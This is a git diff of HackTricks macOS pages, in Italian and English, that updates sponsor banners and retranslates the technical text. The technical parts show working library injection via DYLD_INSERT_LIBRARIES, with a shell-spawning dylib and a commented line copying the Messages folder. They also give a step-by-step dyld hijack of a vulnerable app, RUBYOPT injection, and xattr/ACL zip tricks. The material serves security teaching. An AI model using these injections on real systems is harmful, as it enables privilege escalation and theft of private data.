- -Impara l'hacking di AWS da zero a esperto con htARTE (HackTricks AWS Red Team Expert)! - -Altri modi per supportare HackTricks: - -* Se vuoi vedere la tua **azienda pubblicizzata in HackTricks** o **scaricare HackTricks in PDF**, controlla i [**PACCHETTI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)! -* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com) -* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di esclusive [**NFT**](https://opensea.io/collection/the-peass-family) -* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo Telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Condividi i tuoi trucchi di hacking inviando PR ai repository github di** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). - -
+Nota quanto sia interessante che Android Studio in questo esempio stia cercando di caricare il file **`/Applications/Android Studio.app.vmoptions`**, un luogo in cui qualsiasi utente del **`admin` group ha accesso in scrittura.** diff --git a/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-library-injection/macos-dyld-hijacking-and-dyld_insert_libraries.md b/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-library-injection/macos-dyld-hijacking-and-dyld_insert_libraries.md index 30438618a..e69dcd9c1 100644 --- a/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-library-injection/macos-dyld-hijacking-and-dyld_insert_libraries.md +++ b/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-library-injection/macos-dyld-hijacking-and-dyld_insert_libraries.md @@ -1,20 +1,21 @@ # macOS Dyld Hijacking & DYLD\_INSERT\_LIBRARIES +{% hint style="success" %} +Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +
-Impara l'hacking di AWS da zero a esperto con htARTE (HackTricks AWS Red Team Expert)! +Support HackTricks -Altri modi per supportare HackTricks: - -* Se vuoi vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PACCHETTI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)! -* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com) -* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di esclusive [**NFT**](https://opensea.io/collection/the-peass-family) -* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo Telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Condividi i tuoi trucchi di hacking inviando PR ai repository github di** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). +* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! +* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+{% endhint %} -## Esempio di base di DYLD\_INSERT\_LIBRARIES +## DYLD\_INSERT\_LIBRARIES Esempio base **Libreria da iniettare** per eseguire una shell: ```c @@ -34,7 +35,7 @@ execv("/bin/bash", 0); //system("cp -r ~/Library/Messages/ /tmp/Messages/"); } ``` -Binario da attaccare: +Binary da attaccare: ```c // gcc hello.c -o hello #include @@ -51,7 +52,7 @@ DYLD_INSERT_LIBRARIES=inject.dylib ./hello ``` ## Esempio di Dyld Hijacking -Il binario vulnerabile preso di mira è `/Applications/VulnDyld.app/Contents/Resources/lib/binary`. +Il binario vulnerabile mirato è `/Applications/VulnDyld.app/Contents/Resources/lib/binary`. {% tabs %} {% tab title="entitlements" %} @@ -91,12 +92,12 @@ compatibility version 1.0.0 {% endtab %} {% endtabs %} -Con le informazioni precedenti sappiamo che **non sta verificando la firma delle librerie caricate** e sta cercando di caricare una libreria da: +Con le informazioni precedenti sappiamo che **non controlla la firma delle librerie caricate** e **sta cercando di caricare una libreria da**: * `/Applications/VulnDyld.app/Contents/Resources/lib/lib.dylib` * `/Applications/VulnDyld.app/Contents/Resources/lib2/lib.dylib` -Tuttavia, il primo non esiste: +Tuttavia, la prima non esiste: ```bash pwd /Applications/VulnDyld.app @@ -104,7 +105,7 @@ pwd find ./ -name lib.dylib ./Contents/Resources/lib2/lib.dylib ``` -Quindi, è possibile dirottarlo! Crea una libreria che **esegue del codice arbitrario ed esporta le stesse funzionalità** della libreria legittima reimportandola. E ricorda di compilarla con le versioni previste: +Quindi, è possibile hijackarlo! Crea una libreria che **esegue del codice arbitrario ed esporta le stesse funzionalità** della libreria legittima riesportandola. E ricorda di compilarla con le versioni attese: {% code title="lib.m" %} ```objectivec @@ -124,7 +125,9 @@ Compilalo: gcc -dynamiclib -current_version 1.0 -compatibility_version 1.0 -framework Foundation /tmp/lib.m -Wl,-reexport_library,"/Applications/VulnDyld.app/Contents/Resources/lib2/lib.dylib" -o "/tmp/lib.dylib" # Note the versions and the reexport ``` -Il percorso di reexport creato nella libreria è relativo al loader, cambiamolo con un percorso assoluto per la libreria da esportare: +{% endcode %} + +Il percorso di riesportazione creato nella libreria è relativo al caricatore, cambiamo in un percorso assoluto alla libreria da esportare: {% code overflow="wrap" %} ```bash @@ -145,7 +148,7 @@ name /Applications/Burp Suite Professional.app/Contents/Resources/jre.bundle/Con ``` {% endcode %} -Infine, copialo nella **posizione di dirottamento**: +Infine, copialo nella **posizione hijacked**: {% code overflow="wrap" %} ```bash @@ -153,7 +156,7 @@ cp lib.dylib "/Applications/VulnDyld.app/Contents/Resources/lib/lib.dylib" ``` {% endcode %} -E **esegui** il binario e controlla se la **libreria è stata caricata**: +E **eseguire** il binario e controllare che la **libreria sia stata caricata**:
"/Applications/VulnDyld.app/Contents/Resources/lib/binary"
 2023-05-15 15:20:36.677 binary[78809:21797902] [+] dylib hijacked in /Applications/VulnDyld.app/Contents/Resources/lib/binary
@@ -161,25 +164,26 @@ E **esegui** il binario e controlla se la **libreria è stata caricata**:
 
{% hint style="info" %} -Un bel resoconto su come sfruttare questa vulnerabilità per abusare dei permessi della telecamera di Telegram può essere trovato su [https://danrevah.github.io/2023/05/15/CVE-2023-26818-Bypass-TCC-with-Telegram/](https://danrevah.github.io/2023/05/15/CVE-2023-26818-Bypass-TCC-with-Telegram/) +Una bella descrizione su come abusare di questa vulnerabilità per sfruttare i permessi della fotocamera di telegram può essere trovata in [https://danrevah.github.io/2023/05/15/CVE-2023-26818-Bypass-TCC-with-Telegram/](https://danrevah.github.io/2023/05/15/CVE-2023-26818-Bypass-TCC-with-Telegram/) {% endhint %} -## Su scala maggiore +## Maggiore Scala -Se hai intenzione di provare ad iniettare librerie in binari inaspettati, puoi controllare i messaggi degli eventi per scoprire quando la libreria viene caricata all'interno di un processo (in questo caso rimuovi il printf e l'esecuzione di `/bin/bash`). +Se stai pianificando di provare a iniettare librerie in binari inaspettati, potresti controllare i messaggi di evento per scoprire quando la libreria viene caricata all'interno di un processo (in questo caso rimuovi il printf e l'esecuzione di `/bin/bash`). ```bash sudo log stream --style syslog --predicate 'eventMessage CONTAINS[c] "[+] dylib"' ``` +{% hint style="success" %} +Impara e pratica il hacking AWS:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Impara e pratica il hacking GCP: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +
-Impara l'hacking di AWS da zero a eroe con htARTE (HackTricks AWS Red Team Expert)! +Supporta HackTricks -Altri modi per supportare HackTricks: - -* Se vuoi vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)! -* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com) -* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di esclusive [**NFT**](https://opensea.io/collection/the-peass-family) -* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo Telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Condividi i tuoi trucchi di hacking inviando PR ai repository github di** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). +* Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)! +* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Condividi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos su github.
+{% endhint %} diff --git a/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ruby-applications-injection.md b/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ruby-applications-injection.md index 6ab1ba2fd..c1fe9d083 100644 --- a/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ruby-applications-injection.md +++ b/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ruby-applications-injection.md @@ -1,22 +1,23 @@ -# Iniezione di applicazioni Ruby su macOS +# macOS Ruby Applications Injection + +{% hint style="success" %} +Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-Impara l'hacking di AWS da zero a esperto con htARTE (HackTricks AWS Red Team Expert)! +Support HackTricks -Altri modi per supportare HackTricks: - -* Se vuoi vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** controlla i [**PACCHETTI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)! -* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com) -* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family) -* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo Telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Condividi i tuoi trucchi di hacking inviando PR ai repository** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) su GitHub. +* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! +* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+{% endhint %} ## RUBYOPT -Utilizzando questa variabile di ambiente è possibile **aggiungere nuovi parametri** a **ruby** ogni volta che viene eseguito. Anche se il parametro **`-e`** non può essere utilizzato per specificare il codice ruby da eseguire, è possibile utilizzare i parametri **`-I`** e **`-r`** per aggiungere una nuova cartella al percorso di caricamento delle librerie e quindi **specificare una libreria da caricare**. +Utilizzando questa variabile d'ambiente è possibile **aggiungere nuovi parametri** a **ruby** ogni volta che viene eseguito. Anche se il parametro **`-e`** non può essere utilizzato per specificare il codice ruby da eseguire, è possibile utilizzare i parametri **`-I`** e **`-r`** per aggiungere una nuova cartella al percorso delle librerie da caricare e poi **specificare una libreria da caricare**. Crea la libreria **`inject.rb`** in **`/tmp`**: @@ -34,24 +35,25 @@ puts 'Hello, World!' ``` {% endcode %} -Quindi crea uno script ruby arbitrario e caricalo con: +Quindi fai caricare a uno script ruby arbitrario con: ```bash RUBYOPT="-I/tmp -rinject" ruby hello.rb ``` -Fatto divertente, funziona anche con il parametro **`--disable-rubyopt`**: +Fun fact, funziona anche con il parametro **`--disable-rubyopt`**: ```bash RUBYOPT="-I/tmp -rinject" ruby hello.rb --disable-rubyopt ``` +{% hint style="success" %} +Impara e pratica il hacking su AWS:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Impara e pratica il hacking su GCP: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +
-Impara l'hacking di AWS da zero a eroe con htARTE (HackTricks AWS Red Team Expert)! +Supporta HackTricks -Altri modi per supportare HackTricks: - -* Se vuoi vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)! -* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com) -* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di esclusive [**NFT**](https://opensea.io/collection/the-peass-family) -* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo Telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Condividi i tuoi trucchi di hacking inviando PR ai repository github di** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). +* Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)! +* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Condividi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repository su github.
+{% endhint %} diff --git a/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-fs-tricks/macos-xattr-acls-extra-stuff.md b/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-fs-tricks/macos-xattr-acls-extra-stuff.md index a372f0c22..8c700eb35 100644 --- a/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-fs-tricks/macos-xattr-acls-extra-stuff.md +++ b/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-fs-tricks/macos-xattr-acls-extra-stuff.md @@ -1,24 +1,30 @@ # macOS xattr-acls extra stuff +{% hint style="success" %} +Impara e pratica il hacking AWS:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Impara e pratica il hacking GCP: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +
-Impara l'hacking di AWS da zero a esperto con htARTE (HackTricks AWS Red Team Expert)! +Supporta HackTricks -Altri modi per supportare HackTricks: - -* Se vuoi vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in formato PDF**, controlla i [**PACCHETTI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)! -* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com) -* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT**](https://opensea.io/collection/the-peass-family) esclusivi -* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo Telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** -* **Condividi i tuoi trucchi di hacking inviando PR ai repository GitHub di** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). +* Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)! +* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Condividi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos su github.
- -\`\`\`bash rm -rf /tmp/test\* echo test >/tmp/test chmod +a "everyone deny write,writeattr,writeextattr,writesecurity,chown" /tmp/test ./get\_acls test ACL for test: !#acl 1 group:ABCDEFAB-CDEF-ABCD-EFAB-CDEF0000000C:everyone:12:deny:write,writeattr,writeextattr,writesecurity,chown +{% endhint %} +```bash +rm -rf /tmp/test* +echo test >/tmp/test +chmod +a "everyone deny write,writeattr,writeextattr,writesecurity,chown" /tmp/test +./get_acls test +ACL for test: +!#acl 1 +group:ABCDEFAB-CDEF-ABCD-EFAB-CDEF0000000C:everyone:12:deny:write,writeattr,writeextattr,writesecurity,chown ACL in hex: \x21\x23\x61\x63\x6c\x20\x31\x0a\x67\x72\x6f\x75\x70\x3a\x41\x42\x43\x44\x45\x46\x41\x42\x2d\x43\x44\x45\x46\x2d\x41\x42\x43\x44\x2d\x45\x46\x41\x42\x2d\x43\x44\x45\x46\x30\x30\x30\x30\x30\x30\x30\x43\x3a\x65\x76\x65\x72\x79\x6f\x6e\x65\x3a\x31\x32\x3a\x64\x65\x6e\x79\x3a\x77\x72\x69\x74\x65\x2c\x77\x72\x69\x74\x65\x61\x74\x74\x72\x2c\x77\x72\x69\x74\x65\x65\x78\x74\x61\x74\x74\x72\x2c\x77\x72\x69\x74\x65\x73\x65\x63\x75\x72\x69\x74\x79\x2c\x63\x68\x6f\x77\x6e\x0a - -```` +```
Codice di get_acls @@ -61,47 +67,103 @@ acl_free(acl); acl_free(acl_text); return 0; } -```` - -\`\`\`bash # Lets add the xattr com.apple.xxx.xxxx with the acls mkdir start mkdir start/protected ./set\_xattr start/protected echo something > start/protected/something \`\`\` - +``` +
+```bash +# Lets add the xattr com.apple.xxx.xxxx with the acls +mkdir start +mkdir start/protected +./set_xattr start/protected +echo something > start/protected/something +```
Codice di set_xattr +```c +// gcc -o set_xattr set_xattr.c +#include +#include +#include +#include +#include -\`\`\`c // gcc -o set\_xattr set\_xattr.c #include #include #include #include #include -void print\_xattrs(const char \*filepath) { ssize\_t buflen = listxattr(filepath, NULL, 0, XATTR\_NOFOLLOW); if (buflen < 0) { perror("listxattr"); return; } +void print_xattrs(const char *filepath) { +ssize_t buflen = listxattr(filepath, NULL, 0, XATTR_NOFOLLOW); +if (buflen < 0) { +perror("listxattr"); +return; +} -char \*buf = malloc(buflen); if (buf == NULL) { perror("malloc"); return; } +char *buf = malloc(buflen); +if (buf == NULL) { +perror("malloc"); +return; +} -buflen = listxattr(filepath, buf, buflen, XATTR\_NOFOLLOW); if (buflen < 0) { perror("listxattr"); free(buf); return; } +buflen = listxattr(filepath, buf, buflen, XATTR_NOFOLLOW); +if (buflen < 0) { +perror("listxattr"); +free(buf); +return; +} -printf("All current extended attributes for %s:\n", filepath); for (char \*name = buf; name < buf + buflen; name += strlen(name) + 1) { printf("%s: ", name); ssize\_t valuelen = getxattr(filepath, name, NULL, 0, 0, XATTR\_NOFOLLOW); if (valuelen < 0) { perror("getxattr"); continue; } +printf("All current extended attributes for %s:\n", filepath); +for (char *name = buf; name < buf + buflen; name += strlen(name) + 1) { +printf("%s: ", name); +ssize_t valuelen = getxattr(filepath, name, NULL, 0, 0, XATTR_NOFOLLOW); +if (valuelen < 0) { +perror("getxattr"); +continue; +} -char \*value = malloc(valuelen + 1); if (value == NULL) { perror("malloc"); continue; } +char *value = malloc(valuelen + 1); +if (value == NULL) { +perror("malloc"); +continue; +} -valuelen = getxattr(filepath, name, value, valuelen, 0, XATTR\_NOFOLLOW); if (valuelen < 0) { perror("getxattr"); free(value); continue; } +valuelen = getxattr(filepath, name, value, valuelen, 0, XATTR_NOFOLLOW); +if (valuelen < 0) { +perror("getxattr"); +free(value); +continue; +} -value\[valuelen] = '\0'; // Null-terminate the value printf("%s\n", value); free(value); } +value[valuelen] = '\0'; // Null-terminate the value +printf("%s\n", value); +free(value); +} -free(buf); } +free(buf); +} -int main(int argc, char \*argv\[]) { if (argc != 2) { fprintf(stderr, "Usage: %s \n", argv\[0]); return 1; } -const char \*hex = "\x21\x23\x61\x63\x6c\x20\x31\x0a\x67\x72\x6f\x75\x70\x3a\x41\x42\x43\x44\x45\x46\x41\x42\x2d\x43\x44\x45\x46\x2d\x41\x42\x43\x44\x2d\x45\x46\x41\x42\x2d\x43\x44\x45\x46\x30\x30\x30\x30\x30\x30\x30\x43\x3a\x65\x76\x65\x72\x79\x6f\x6e\x65\x3a\x31\x32\x3a\x64\x65\x6e\x79\x3a\x77\x72\x69\x74\x65\x2c\x77\x72\x69\x74\x65\x61\x74\x74\x72\x2c\x77\x72\x69\x74\x65\x65\x78\x74\x61\x74\x74\x72\x2c\x77\x72\x69\x74\x65\x73\x65\x63\x75\x72\x69\x74\x79\x2c\x63\x68\x6f\x77\x6e\x0a"; const char \*filepath = argv\[1]; +int main(int argc, char *argv[]) { +if (argc != 2) { +fprintf(stderr, "Usage: %s \n", argv[0]); +return 1; +} -int result = setxattr(filepath, "com.apple.xxx.xxxx", hex, strlen(hex), 0, 0); if (result == 0) { printf("Extended attribute set successfully.\n\n"); } else { perror("setxattr"); return 1; } +const char *hex = "\x21\x23\x61\x63\x6c\x20\x31\x0a\x67\x72\x6f\x75\x70\x3a\x41\x42\x43\x44\x45\x46\x41\x42\x2d\x43\x44\x45\x46\x2d\x41\x42\x43\x44\x2d\x45\x46\x41\x42\x2d\x43\x44\x45\x46\x30\x30\x30\x30\x30\x30\x30\x43\x3a\x65\x76\x65\x72\x79\x6f\x6e\x65\x3a\x31\x32\x3a\x64\x65\x6e\x79\x3a\x77\x72\x69\x74\x65\x2c\x77\x72\x69\x74\x65\x61\x74\x74\x72\x2c\x77\x72\x69\x74\x65\x65\x78\x74\x61\x74\x74\x72\x2c\x77\x72\x69\x74\x65\x73\x65\x63\x75\x72\x69\x74\x79\x2c\x63\x68\x6f\x77\x6e\x0a"; +const char *filepath = argv[1]; -print\_xattrs(filepath); +int result = setxattr(filepath, "com.apple.xxx.xxxx", hex, strlen(hex), 0, 0); +if (result == 0) { +printf("Extended attribute set successfully.\n\n"); +} else { +perror("setxattr"); +return 1; +} -return 0; } +print_xattrs(filepath); -```` +return 0; +} +```
-
- +{% code overflow="wrap" %} ```bash # Create appledoublefile with the xattr entitlement ditto -c -k start protected.zip @@ -115,10 +177,24 @@ rm -rf protected.zip zip -r protected.zip protected ._protected rm -rf protected rm ._* -```` +``` +{% endcode %} +```bash +# Check if it worked +ditto -x -k --rsrc protected.zip . +xattr -l protected +``` +{% hint style="success" %} +Impara e pratica il hacking su AWS:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Impara e pratica il hacking su GCP: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) -\`\`\`bash # Check if it worked ditto -x -k --rsrc protected.zip . xattr -l protected \`\`\` +
+Supporta HackTricks +* Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)! +* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Condividi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos su github.
+{% endhint %} diff --git a/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-sandbox/README.md b/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-sandbox/README.md index 55b0b30fb..a820851cb 100644 --- a/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-sandbox/README.md +++ b/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-sandbox/README.md @@ -1,35 +1,36 @@ -# Sandbox di macOS +# macOS Sandbox + +{% hint style="success" %} +Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-Impara l'hacking di AWS da zero a esperto con htARTE (HackTricks AWS Red Team Expert)! +Support HackTricks -Altri modi per supportare HackTricks: - -* Se vuoi vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PACCHETTI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)! -* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com) -* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family) -* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo Telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Condividi i tuoi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **repository di GitHub**. +* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! +* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+{% endhint %} -## Informazioni di base +## Basic Information -Il Sandbox di macOS (inizialmente chiamato Seatbelt) **limita le applicazioni** in esecuzione all'interno del sandbox alle **azioni consentite specificate nel profilo del Sandbox** con cui l'app viene eseguita. Ciò aiuta a garantire che **l'applicazione acceda solo alle risorse previste**. +MacOS Sandbox (inizialmente chiamato Seatbelt) **limita le applicazioni** in esecuzione all'interno della sandbox alle **azioni consentite specificate nel profilo Sandbox** con cui l'app è in esecuzione. Questo aiuta a garantire che **l'applicazione accederà solo alle risorse previste**. -Qualsiasi app con l'**abilitazione** **`com.apple.security.app-sandbox`** verrà eseguita all'interno del sandbox. **I binari di Apple** di solito vengono eseguiti all'interno di un Sandbox e per poterli pubblicare nell'**App Store**, **questa abilitazione è obbligatoria**. Quindi la maggior parte delle applicazioni verrà eseguita all'interno del sandbox. +Qualsiasi app con l'**entitlement** **`com.apple.security.app-sandbox`** verrà eseguita all'interno della sandbox. **I binari Apple** vengono solitamente eseguiti all'interno di una Sandbox e per pubblicare all'interno dell'**App Store**, **questo entitlement è obbligatorio**. Quindi, la maggior parte delle applicazioni verrà eseguita all'interno della sandbox. -Per controllare cosa un processo può o non può fare, il **Sandbox ha hook** in tutte le **syscall** del kernel. **A seconda** delle **abilitazioni** dell'app, il Sandbox **permetterà** determinate azioni. +Per controllare cosa un processo può o non può fare, la **Sandbox ha hook** in tutte le **syscall** nel kernel. **A seconda** degli **entitlements** dell'app, la Sandbox **consentirà** determinate azioni. -Alcuni componenti importanti del Sandbox sono: +Al alcuni componenti importanti della Sandbox sono: * L'**estensione del kernel** `/System/Library/Extensions/Sandbox.kext` * Il **framework privato** `/System/Library/PrivateFrameworks/AppSandbox.framework` * Un **daemon** in esecuzione in userland `/usr/libexec/sandboxd` * I **contenitori** `~/Library/Containers` -All'interno della cartella dei contenitori è possibile trovare **una cartella per ogni app eseguita all'interno del sandbox** con il nome dell'ID del bundle: +All'interno della cartella dei contenitori puoi trovare **una cartella per ogni app eseguita in sandbox** con il nome dell'id del bundle: ```bash ls -l ~/Library/Containers total 0 @@ -40,7 +41,7 @@ drwx------@ 4 username staff 128 Mar 25 14:14 com.apple.Accessibility-Settings drwx------@ 4 username staff 128 Mar 25 14:10 com.apple.ActionKit.BundledIntentHandler [...] ``` -All'interno di ogni cartella dell'ID del bundle è possibile trovare il file **plist** e la directory **Data** dell'app: +All'interno di ogni cartella dell'ID bundle puoi trovare il **plist** e la **directory Data** dell'App: ```bash cd /Users/username/Library/Containers/com.apple.Safari ls -la @@ -64,7 +65,7 @@ drwx------ 2 username staff 64 Mar 24 18:02 SystemData drwx------ 2 username staff 64 Mar 24 18:02 tmp ``` {% hint style="danger" %} -Nota che anche se i symlink sono presenti per "uscire" dalla Sandbox e accedere ad altre cartelle, l'App ha comunque bisogno di **avere le autorizzazioni** per accedervi. Queste autorizzazioni sono all'interno del file **`.plist`**. +Nota che anche se i symlink sono presenti per "uscire" dal Sandbox e accedere ad altre cartelle, l'App deve comunque **avere permessi** per accedervi. Questi permessi sono all'interno del **`.plist`**. {% endhint %} ```bash # Get permissions @@ -114,12 +115,12 @@ AAAhAboBAAAAAAgAAABZAO4B5AHjBMkEQAUPBSsGPwsgASABHgEgASABHwEf... [...] 